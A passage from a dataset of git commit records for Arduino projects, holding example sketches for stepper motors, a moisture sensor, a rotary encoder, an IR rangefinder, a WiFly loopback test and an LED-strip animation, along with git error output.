example\n","repos":"ELZo3\/ArduinoJson,hassanabidpk\/ArduinoJson,spotman\/ArduinoJson,alyf80\/ArduinoJson,lono-devices\/ArduinoJson,hemantsangwan\/Arduino-Json,CanTireInnovations\/ArduinoJson,fayvlad\/ArduinoJson,alyf80\/ArduinoJson,naveensuryakumar\/json,PeeJay\/ArduinoJson,AndreyAyres\/ArduinoJson,janelia-arduino\/ArduinoJson,hassanabidpk\/ArduinoJson,tirumalavan\/ArduinoJson,fayvlad\/ArduinoJson,PeeJay\/ArduinoJson,firepick1\/ArduinoJson,naveensuryakumar\/json,lono-devices\/ArduinoJson,0ddie\/ArduinoJson,spotman\/ArduinoJson,venusdharan\/ArduinoJson,AndreyAyres\/ArduinoJson,weera00\/ArduinoJson,peterpolidoro\/ArduinoJson,chuz\/ArduinoJson,ELZo3\/ArduinoJson,AndreyAyres\/ArduinoJson,CanTireInnovations\/ArduinoJson,naveensuryakumar\/json,CanTireInnovations\/ArduinoJson,hemantsangwan\/Arduino-Json,bblanchon\/ArduinoJson,fayvlad\/ArduinoJson,peterpolidoro\/ArduinoJson,spotman\/ArduinoJson,0ddie\/ArduinoJson,peterpolidoro\/ArduinoJson,chuz\/ArduinoJson,venkatarajasekhar\/ArduinoJson,venkatarajasekhar\/ArduinoJson,tirumalavan\/ArduinoJson,weera00\/ArduinoJson,venkatarajasekhar\/ArduinoJson,venusdharan\/ArduinoJson,hemantsangwan\/Arduino-Json,venusdharan\/ArduinoJson,lono-devices\/ArduinoJson,janelia-arduino\/ArduinoJson,firepick1\/ArduinoJson,bblanchon\/ArduinoJson,peterpolidoro\/ArduinoJson,janelia-arduino\/ArduinoJson,firepick1\/ArduinoJson,hassanabidpk\/ArduinoJson,chuz\/ArduinoJson,ELZo3\/ArduinoJson,janelia-arduino\/ArduinoJson,PeeJay\/ArduinoJson,tirumalavan\/ArduinoJson,weera00\/ArduinoJson,bblanchon\/ArduinoJson,alyf80\/ArduinoJson","old_file":"examples\/IndentedPrintExample\/IndentedPrintExample.ino","new_file":"examples\/IndentedPrintExample\/IndentedPrintExample.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/CanTireInnovations\/ArduinoJson.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6808c111ef9cbb2f86cbbac42905935670b8240f","subject":"Add example for pairing with AccelStepper library","message":"Add example for pairing with AccelStepper library\n","repos":"teemuatlut\/TMC2130Stepper","old_file":"examples\/TMC2130_AccelStepper\/TMC2130_AccelStepper.ino","new_file":"examples\/TMC2130_AccelStepper\/TMC2130_AccelStepper.ino","new_contents":"\/**\n * Author Teemu M\u00e4ntykallio\n * Initializes the library and turns the motor in alternating directions.\n*\/\n\n#define EN_PIN 38 \/\/ Nano v3: 16 Mega: 38 \/\/enable (CFG6)\n#define DIR_PIN 55 \/\/ 19 55 \/\/direction\n#define STEP_PIN 54 \/\/ 18 54 \/\/step\n#define CS_PIN 40 \/\/ 17 40 \/\/chip select\n\nconstexpr uint32_t steps_per_mm = 80;\n\n#include <TMC2130Stepper.h>\nTMC2130Stepper driver = TMC2130Stepper(EN_PIN, DIR_PIN, STEP_PIN, CS_PIN);\n\n#include <AccelStepper.h>\nAccelStepper stepper = AccelStepper(stepper.DRIVER, STEP_PIN, DIR_PIN);\n\nvoid setup() {\n Serial.begin(9600);\n while(!Serial);\n Serial.println(\"Start...\");\n pinMode(CS_PIN, OUTPUT);\n digitalWrite(CS_PIN, HIGH);\n driver.begin(); \/\/ Initiate pins and registeries\n driver.rms_current(600); \/\/ Set stepper current to 600mA. The command is the same as command TMC2130.setCurrent(600, 0.11, 0.5);\n driver.stealthChop(1); \/\/ Enable extremely quiet stepping\n driver.stealth_autoscale(1);\n driver.microsteps(16);\n\n stepper.setMaxSpeed(50*steps_per_mm); \/\/ 100mm\/s @ 80 steps\/mm\n stepper.setAcceleration(1000*steps_per_mm); \/\/ 2000mm\/s^2\n stepper.setEnablePin(EN_PIN);\n stepper.setPinsInverted(false, false, true);\n stepper.enableOutputs();\n}\n\nvoid loop() {\n if (stepper.distanceToGo() == 0) {\n stepper.disableOutputs();\n delay(100);\n stepper.move(100*steps_per_mm); \/\/ Move 100mm\n stepper.enableOutputs();\n }\n stepper.run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TMC2130_AccelStepper\/TMC2130_AccelStepper.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c515afc8f4126f9cd4a06f06bedaca8e37ee6144","subject":"Se crea proyecto arduino_sensor_humedad.ino","message":"Se crea proyecto arduino_sensor_humedad.ino\n","repos":"codigoelectronica\/arduino_code,codigoelectronica\/arduino_code,codigoelectronica\/arduino_code","old_file":"arduino_sensor_humedad\/arduino_sensor_humedad.ino","new_file":"arduino_sensor_humedad\/arduino_sensor_humedad.ino","new_contents":"\/*Sensor de humedad con arduino\n*\n* Copyright: codigoelectronica.com\n* Author: Oscar Fernandez \n* License: MIT\n*\/\n\nvoid setup() {\n Serial.begin(57600);\n}\n\nvoid loop() {\n Serial.print(\"Moisture Sensor Value:\");\n Serial.println(analogRead(A0)); \n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_sensor_humedad\/arduino_sensor_humedad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8a8795b7ec4d3e750f5f9e63c25ff2d16797822","subject":"Bug fixes","message":"Bug fixes\n","repos":"auvnitrkl\/tiburon-3.0","old_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/auvnitrkl\/tiburon-3.0.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9d99d40d767ceb49852a14b83463da2cb3092060","subject":"Added an example","message":"Added an example\n","repos":"jscheunemann\/RotaryEncoder","old_file":"example\/RotaryEncoderExample\/RotaryEncoderExample.ino","new_file":"example\/RotaryEncoderExample\/RotaryEncoderExample.ino","new_contents":"\/**************************************************************************\/\n\/*!\n @file RotaryEncoder.h\n @author Jason Scheunemann <jason.scheunemann@gmail.com>\n\n @section LICENSE\n\n Software License Agreement (BSD License)\n\n Copyright (c) 2016, Jason Scheunemann\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n 1. Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n 2. Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n 3. Neither the name of the copyright holders nor the\n names of its contributors may be used to endorse or promote products\n derived from this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ''AS IS'' AND ANY\n EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY\n DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\/**************************************************************************\/\n\n#include <RotaryEncoder.h>\n\n#define PIN_A 2\n#define PIN_B 3\n\nRotaryEncoder encoder = RotaryEncoder(PIN_A, PIN_B);\n\nvoid setup() {\n encoder.incrementHandler(onIncrement);\n encoder.decrementHandler(onDecrement);\n encoder.begin();\n Serial.begin(9600);\n}\n\nvoid loop() {\n encoder.read();\n}\n\nvoid onIncrement(RotaryEncoder &source){\n Serial.println(\"Increment\");\n}\n\nvoid onDecrement(RotaryEncoder &source){\n Serial.println(\"Decrement\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'example\/RotaryEncoderExample\/RotaryEncoderExample.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"029ebced27add8729f640ce0d4a8b46db81c73f5","subject":"Updated comment","message":"Updated comment","repos":"pAIgn10\/SharpIRLib,ZEPORATH\/SharpIRLib,pAIgn10\/SharpIRLib,ZEPORATH\/SharpIRLib,pAIgn10\/SharpIRLib,ZEPORATH\/SharpIRLib","old_file":"IRRanger\/examples\/DistanceFromObject\/DistanceFromObject.ino","new_file":"IRRanger\/examples\/DistanceFromObject\/DistanceFromObject.ino","new_contents":"\/**\r\n * A simple example showcasing the functionality of the library\r\n * The distance reported by the sensor, gets written on the serial port\r\n * and then sets the duty cycle and blinks the onboard LED\r\n *\r\n * Notes:\r\n * AREF: If your project uses an external voltage reference, then you should\r\n * specify that reference voltage to the IRRanger instance with the setARef method\r\n * resetARef: Resets the reference to the default internal voltage level\r\n * Please read this first -> http:\/\/arduino.cc\/en\/Reference\/AnalogReference\r\n * Repeated measurements: You can set a number of successive measurements to be made\r\n * and then take their average as the final result. This might be\r\n * desirable since the sensor's output varies a bit.\r\n * Don't overdo it! For every additional measurement, a default\r\n * 50ms delay is applied in order for the sensor to refresh.\r\n * Point of reference: If you want to find the distance of an object, not from\r\n * the sensor, but from another point of reference (perhaps the\r\n * center of your robot), then you can state the distance (in cm)\r\n * of the sensor from that point of interest either during the\r\n * initialization of an instance by supplying a third argument to\r\n * the constructor, or later with the setPRef method. From thereafter\r\n * this value will be getting added to every measurement you take.\r\n * This has a sensible meaning only when we are talking about \r\n * units of length, and hence it will apply only when calling\r\n * methods getCM() and getIN().\r\n *\/\r\n\r\n#include \"IRRanger.h\" \/\/ Includes the IRRanger library\r\n\r\nint LED = 13; \/\/ Onboard LED\r\n\r\nint PIN = A0; \/\/ Pin for sensor's output\r\n\r\n\/\/ Initializes a library instance with the part code of the sensor\r\n\/\/ { GP2D120XJ00F, GP2Y0A21YK, GP2Y0A02YK0F }, the input pin, and\r\n\/\/ a value (in cm) to be added on every measurement, as a distance\r\n\/\/ of the sensor from a desired point of reference\r\nIRRanger ir(GP2D120XJ00F, PIN, 5);\r\n\r\nvoid setup()\r\n{\r\n Serial.begin(9600); \/\/ Initializes serial port\r\n \/\/ Waits for serial port to connect. Needed for Leonardo only\r\n while ( !Serial ) ;\r\n \r\n pinMode(LED, OUTPUT);\r\n \r\n \/\/ If you have fitted a curve for your sensor, you can set the model here\r\n \/\/ The available model families are:\r\n \/\/ * Sum of exponentials: a * exp(b * x) + c * exp(d * x)\r\n \/\/ * 5th order polynomial: a * x^5 + b * x^4 + c * x^3 + d * x^2 + e * x + f\r\n \/\/ So, you can set the model to an exponential, a sum of expontials,\r\n \/\/ or a polynomial up to 5th order\r\n \/\/ First argument to setModel is the model type { EXPS, POLY5 }\r\n \/\/ e.g. double a = .., b = .., c = .., d = .., e = .., f = ..;\r\n \/\/ ir.setModel(EXPS, a, b, c, d); \/\/ sum of exponentials\r\n \/\/ or ir.setModel(EXPS, a, b); \/\/ exponential\r\n \/\/ or ir.setModel(POLY5, a, b, c, d, e, f); \/\/ 5th order polynomial\r\n \/\/ or ir.setModel(POLY5, 0, 0, c, d, e, f); \/\/ 3rd order polynomial\r\n}\r\n\r\nvoid loop()\r\n{\r\n double distance = ir.getCM(); \/\/ Gets a distance in cm\r\n double duty_cycle = ir.getRaw() \/ 1023.; \/\/ Defines a ratio\r\n \r\n \/\/ Writes distance on the serial port\r\n Serial.print(distance);\r\n Serial.println(\"cm\");\r\n \r\n \/\/ Blinks the onboard LED\r\n digitalWrite(LED, HIGH);\r\n delay((int)(duty_cycle * 300));\r\n digitalWrite(LED, LOW);\r\n delay((int)((1-duty_cycle) * 300));\r\n}\r\n\r\n","old_contents":"\/**\n * A simple example showcasing the functionality of the library\n * The distance reported by the sensor, gets written on the serial port\n * and then sets the duty cycle and blinks the onboard LED\n *\n * Notes:\n * AREF: If your project uses an external voltage reference, then you should\n * specify that reference voltage to the IRRanger instance with the setARef method\n * resetARef: Resets the reference to the default internal voltage level\n * Please read this first -> http:\/\/arduino.cc\/en\/Reference\/AnalogReference\n * Repeated measurements: You can set a number of successive measurements to be made\n * and then take their average as the final result. This might be\n * desirable since the sensor's output varies a bit.\n * Don't overdo it! For every additional measurement, a default\n * 50ms delay is applied in order for the sensor to refresh.\n * Point of reference: If you want to find the distance of an object, not from\n * the sensor, but from another point of reference (perhaps the\n * center of your robot), then you can state the distance (in cm)\n * of the sensor from that point of interest either during the\n * initialization of an instance by supplying a third argument to\n * the constructor, or later with the setPRef method. From thereafter\n * this value will be getting added to every measurement you take.\n * This has a sensible meaning only when we are talking about \n * units of length, and hence it will apply only when calling\n * methods getCM() and getIN().\n *\/\n\n#include \"IRRanger.h\" \/\/ Includes the IRRanger library\n\nint LED = 13; \/\/ Onboard LED\n\nint PIN = A0; \/\/ Pin for sensor's output\n\n\/\/ Initializes a library instance with the part code of the sensor\n\/\/ { GP2D120XJ00F, GP2Y0A21YK, GP2Y0A02YK0F }, the input pin, and\n\/\/ a value (in cm) to be added on every measurement, as a distance\n\/\/ of the sensor from a desired point of reference\nIRRanger ir(GP2D120XJ00F, PIN, 5);\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ Initializes serial port\n \/\/ Waits for serial port to connect. Needed for Leonardo only\n while ( !Serial ) ;\n \n pinMode(LED, OUTPUT);\n \n \/\/ If you have fitted a curve for your sensor, you can set the model here\n \/\/ The available model families are:\n \/\/ * Sum of exponentials: a * exp(b * x) + c * exp(d * x)\n \/\/ * 5th order polynomial: a * x^5 + b * x^4 + c * x^3 + d * x^2 + e * x + f\n \/\/ So, you can set the model to an exponential, a sum of expontials,\n \/\/ or a polynomial up to 5th order\n \/\/ First argument to setModel is the model type { EXPS, POLY5 }\n \/\/ e.g. a = ..; b = ..; c = ..; d = ..; e = ..; f = ..;\n \/\/ ir.setModel(EXPS, a, b, c, d); \/\/ sum of exponentials\n \/\/ or ir.setModel(EXPS, a, b); \/\/ exponential\n \/\/ or ir.setModel(POLY5, a, b, c, d, e, f); \/\/ 5th order polynomial\n \/\/ or ir.setModel(POLY5, 0, 0, c, d, e, f); \/\/ 3rd order polynomial\n}\n\nvoid loop()\n{\n double distance = ir.getCM(); \/\/ Gets a distance in cm\n double duty_cycle = ir.getRaw() \/ 1023.; \/\/ Defines a ratio\n \n \/\/ Writes distance on the serial port\n Serial.print(distance);\n Serial.println(\"cm\");\n \n \/\/ Blinks the onboard LED\n digitalWrite(LED, HIGH);\n delay((int)(duty_cycle * 300));\n digitalWrite(LED, LOW);\n delay((int)((1-duty_cycle) * 300));\n}\n\r\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"c15697de87eb6a0c84207f86a5878dcfd70860a5","subject":"WiFlyHQ loopback test","message":"WiFlyHQ loopback test\n","repos":"okhiroyuki\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,CedricFinance\/blynk-library,flashvnn\/blynk-library,radut\/blynk-library,ivankravets\/blynk-library,sstocker46\/blynk-library,sstocker46\/blynk-library,flashvnn\/blynk-library,radut\/blynk-library,csicar\/blynk-library,al1271\/blynk-library,johan--\/blynk-library,flashvnn\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,CedricFinance\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,johan--\/blynk-library,ivankravets\/blynk-library,radut\/blynk-library,ivankravets\/blynk-library,csicar\/blynk-library,okhiroyuki\/blynk-library,johan--\/blynk-library,csicar\/blynk-library,sstocker46\/blynk-library,flashvnn\/blynk-library,CedricFinance\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,johan--\/blynk-library,radut\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,okhiroyuki\/blynk-library,blynkkk\/blynk-library,okhiroyuki\/blynk-library","old_file":"tests\/loopback\/EchoWiFlyHQ\/EchoWiFlyHQ.ino","new_file":"tests\/loopback\/EchoWiFlyHQ\/EchoWiFlyHQ.ino","new_contents":"#include <WiFlyHQ.h>\n\n#define WLAN_SSID \"ssid\"\n#define WLAN_PASS \"pass\"\n#define SerialWiFly Serial1\n\n\/\/#include <SoftwareSerial.h>\n\/\/SoftwareSerial SerialWiFly(2, 3);\n\nconst char* host = \"192.168.0.104\";\nuint16_t port = 8888;\n\nWiFly wifly;\n\nvoid setup(void)\n{\n Serial.begin(115200);\n delay(10);\n SerialWiFly.begin(9600);\n if (!wifly.begin(&SerialWiFly, &Serial)) {\n Serial.println(\"Failed to start wifly\");\n }\n\n \/* Join wifi network if not already associated *\/\n if (!wifly.isAssociated()) {\n \/* Setup the WiFly to connect to a wifi network *\/\n Serial.println(\"Joining network\");\n wifly.setSSID(WLAN_SSID);\n wifly.setPassphrase(WLAN_PASS);\n wifly.enableDHCP();\n if (wifly.join()) {\n Serial.println(\"Joined wifi network\");\n } else {\n Serial.println(\"Failed to join wifi network\");\n }\n } else {\n Serial.println(\"Already in network\");\n }\n\n if (wifly.isConnected()) {\n Serial.println(\"Old connection active. Closing\");\n wifly.close();\n }\n}\n\nvoid draw(char c, int qty = 1) {\n static int col = 0;\n while (qty-- > 0) {\n Serial.print(c);\n col = (col + 1) % 80;\n if (!col) {\n Serial.println();\n }\n }\n}\n\nvoid loop(void)\n{\n delay(5000);\n Serial.print(\"Connecting...\");\n\n if (wifly.open(host, port)) {\n Serial.println(F(\"Connected.\"));\n \/* Echo incoming data *\/\n while (wifly.isConnected()) {\n byte buf[128];\n int qty = wifly.available();\n if (qty) {\n qty = wifly.readBytes(buf, qty);\n qty = wifly.write((const uint8_t*)buf, qty);\n draw('.');\n }\n }\n } else {\n Serial.println(F(\"Connection failed\"));\n }\n wifly.close();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/loopback\/EchoWiFlyHQ\/EchoWiFlyHQ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"63f53b98cbb7faa06f87243d666a0722ab7340a3","subject":"standard animation course and variable start\/stop points","message":"standard animation course and variable start\/stop points","repos":"jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit","old_file":"Arduino\/random_color_ease_144\/random_color_ease_144.ino","new_file":"Arduino\/random_color_ease_144\/random_color_ease_144.ino","new_contents":"\/\/ try: dim at ends per cosine, bump into each other and transfer momentum\n\n#include <PololuLedStrip.h>\n#include <math.h>\n \n\/\/ Create an ledStrip object and specify the pin it will use.\nPololuLedStrip<12> ledStrip;\n\n#define EASE_EXPONENT 3 \/\/ cubic\n#define EASE_COUNT 72\n#define EASE_DELAY 5\n#define EASE_ANIM_MARGIN 30\n\n\/\/ Create a buffer for holding the colors (3 bytes per color).\n#define ANIM_LED_COUNT 144\n#define LED_COUNT (ANIM_LED_COUNT + EASE_ANIM_MARGIN)\n#define VLED_COUNT (LED_COUNT)\n#define MAX_LED (LED_COUNT)\n#define MAX_VLED (VLED_COUNT)\n#define LED_COUNT_MIDPOINT (LED_COUNT \/ 2)\n\nrgb_color colors[LED_COUNT];\nunsigned char existence[VLED_COUNT];\n\nfloat ease[LED_COUNT];\n\n#define DELAY 1000\n#define FADE_RATE 0.75\n#define FADE_COUNT 20\n\n#define BRIGHTNESS_PERCENT 25\n#define BRIGHTNESS_DIVISOR 20.0\n#define MIN_BRIGHTNESS 1.0\n\n#define RESOLUTION 1000000.0\n\n#define MIN_SPEED 0.50\n#define MAX_SPEED 0.75\n#define SPEED MIN_SPEED\n\n#define NUM_ROWS 10\n#define NUM_COLS 17\n#define MAX_ROW (NUM_ROWS - 1)\n#define MAX_COL (NUM_COLS - 1)\n\nrgb_color black = {0, 0, 0};\nrgb_color gray = {10, 10, 10};\nrgb_color white = {20, 20, 20};\nrgb_color red = {20, 0, 0};\nrgb_color orange = {20, 10, 0};\nrgb_color yellow = {20, 20, 0};\nrgb_color ltgreen = {10, 20, 0};\nrgb_color green = {0, 20, 0};\nrgb_color seafoam = {0, 20, 10};\nrgb_color cyan = {0, 20, 20};\nrgb_color ltblue = {0, 10, 20};\nrgb_color blue = {0, 0, 20};\nrgb_color purple = {10, 0, 20};\nrgb_color magenta = {20, 0, 20};\nrgb_color pink = {20, 0, 10};\n\n#define NPALETTE 6\n#define NPRETTY_COLORS 13\nrgb_color palette[NPALETTE] = { red, orange, yellow, green, blue, purple }; \/\/, cyan, magenta, grue, eurg, egnaro, rurple, white, gray, black }; \n\/\/rgb_color palette[NPALETTE] = { red, green, blue, orange, yellow, purple, cyan, magenta, grue, eurg, egnaro, rurple, white, gray, black }; \n\/\/rgb_color palette[NPALETTE] = { pink, blue, orange, seafoam, white, magenta, ltblue, ltgreen, purple, red, green, yellow, cyan, gray, black }; \n\/\/rgb_color palette[NPALETTE] = { red, orange, pink, magenta, yellow, green, seafoam, ltgreen, ltblue, cyan, blue, purple, white }; \n\n#define NGROUPS 3\n#define GROUP_RED_START 0\n#define GROUP_RED_MAX 4\n#define GROUP_GREEN_START 4\n#define GROUP_GREEN_MAX 8\n#define GROUP_BLUE_START 8\n#define GROUP_BLUE_MAX 12\n#define GROUP_WHITE_START 12\n#define GROUP_WHITE_MAX 13\n\nint group_start[4] = {GROUP_RED_START,GROUP_GREEN_START,GROUP_BLUE_START,GROUP_WHITE_START};\nint group_max[4] = {GROUP_RED_MAX,GROUP_GREEN_MAX,GROUP_BLUE_MAX,GROUP_WHITE_MAX};\n\nrgb_color adjusted_palette[NPALETTE];\n\n\/\/ 72 @ 2.0\nint sin223_translation[223] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 10, 10, 10, 11, 11, 12, 12, 12, 13, 13, 13, 14, 14, 15, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 23, 23, 24, 24, 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, 30, 30, 31, 31, 32, 32, 33, 33, 34, 34, 35, 35, 36, 36, 37, 37, 38, 38, 39, 39, 40, 40, 41, 41, 42, 42, 43, 43, 44, 44, 45, 45, 46, 46, 47, 47, 48, 48, 48, 49, 49, 50, 50, 51, 51, 52, 52, 53, 53, 53, 54, 54, 55, 55, 56, 56, 56, 57, 57, 58, 58, 58, 59, 59, 59, 60, 60, 61, 61, 61, 62, 62, 62, 63, 63, 63, 64, 64, 64, 64, 65, 65, 65, 66, 66, 66, 66, 67, 67, 67, 67, 67, 68, 68, 68, 68, 68, 69, 69, 69, 69, 69, 69, 70, 70, 70, 70, 70, 70, 70, 70, 70, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71};\n\n\/\/ 72 @ 5.0\n\/\/ int sin557_translation[557] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 21, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 31, 31, 31, 31, 31, 32, 32, 32, 32, 32, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 41, 41, 41, 41, 41, 42, 42, 42, 42, 42, 43, 43, 43, 43, 43, 44, 44, 44, 44, 44, 45, 45, 45, 45, 45, 45, 46, 46, 46, 46, 46, 47, 47, 47, 47, 47, 48, 48, 48, 48, 48, 49, 49, 49, 49, 49, 49, 50, 50, 50, 50, 50, 51, 51, 51, 51, 51, 51, 52, 52, 52, 52, 52, 52, 53, 53, 53, 53, 53, 54, 54, 54, 54, 54, 54, 55, 55, 55, 55, 55, 55, 56, 56, 56, 56, 56, 56, 57, 57, 57, 57, 57, 57, 58, 58, 58, 58, 58, 58, 58, 59, 59, 59, 59, 59, 59, 59, 60, 60, 60, 60, 60, 60, 61, 61, 61, 61, 61, 61, 61, 61, 62, 62, 62, 62, 62, 62, 62, 63, 63, 63, 63, 63, 63, 63, 63, 64, 64, 64, 64, 64, 64, 64, 64, 65, 65, 65, 65, 65, 65, 65, 65, 65, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71};\n\n\/\/ 64 @ 2.0\n\/\/ int sin198_translation[198] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 11, 11, 11, 12, 12, 12, 13, 13, 14, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, 30, 30, 31, 31, 32, 32, 33, 33, 34, 34, 34, 35, 35, 36, 36, 37, 37, 38, 38, 39, 39, 40, 40, 41, 41, 42, 42, 43, 43, 44, 44, 45, 45, 45, 46, 46, 47, 47, 48, 48, 49, 49, 49, 50, 50, 51, 51, 51, 52, 52, 53, 53, 53, 54, 54, 54, 55, 55, 55, 56, 56, 56, 57, 57, 57, 57, 58, 58, 58, 59, 59, 59, 59, 60, 60, 60, 60, 60, 61, 61, 61, 61, 61, 61, 62, 62, 62, 62, 62, 62, 62, 62, 63, 63, 63, 63, 63, 63, 63, 63, 63, 63, 63};\n\n#define WARPED sin223_translation\n\n\n#define NUM_OBJECTS 6\n\n\/\/#define MIN_PERIOD 50\n\/\/#define MAX_PERIOD 100\n\n#define WIDTH 3\n\n#define DECAY 0.0\n\nunsigned char bitmask[8] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80};\n\nrgb_color scale_color(rgb_color color, float scale){\n return (rgb_color){\n ((color.red \/ BRIGHTNESS_DIVISOR) * 255) * scale, \n ((color.green \/ BRIGHTNESS_DIVISOR) * 255) * scale, \n ((color.blue \/ BRIGHTNESS_DIVISOR) *255) * scale\n };\n}\n\nvoid set_brightness(int brightness_percent = BRIGHTNESS_PERCENT){\n float percent = brightness_percent \/ 100.0;\n for(int i = 0; i < NPALETTE; i++){\n adjusted_palette[i] = scale_color(palette[i], percent);\n }\n}\n\nvoid flood(rgb_color color){\n for(int i = 0; i < LED_COUNT; i++){\n colors[i] = color;\n }\n}\n\nvoid erase(){\n flood(black);\n}\n\nvoid fade(float rate = FADE_RATE){\n unsigned char *p;\n p = (unsigned char *)colors; \n for(int i = 0; i < LED_COUNT * 3; i++){\n *(p + i) *= rate;\n }\n}\n\nvoid fade_fast(){\n unsigned char *p;\n p = (unsigned char *)colors; \n for(int i = 0; i < LED_COUNT * 3; i++){\n *(p + i) = *(p + i) >> 1;\n 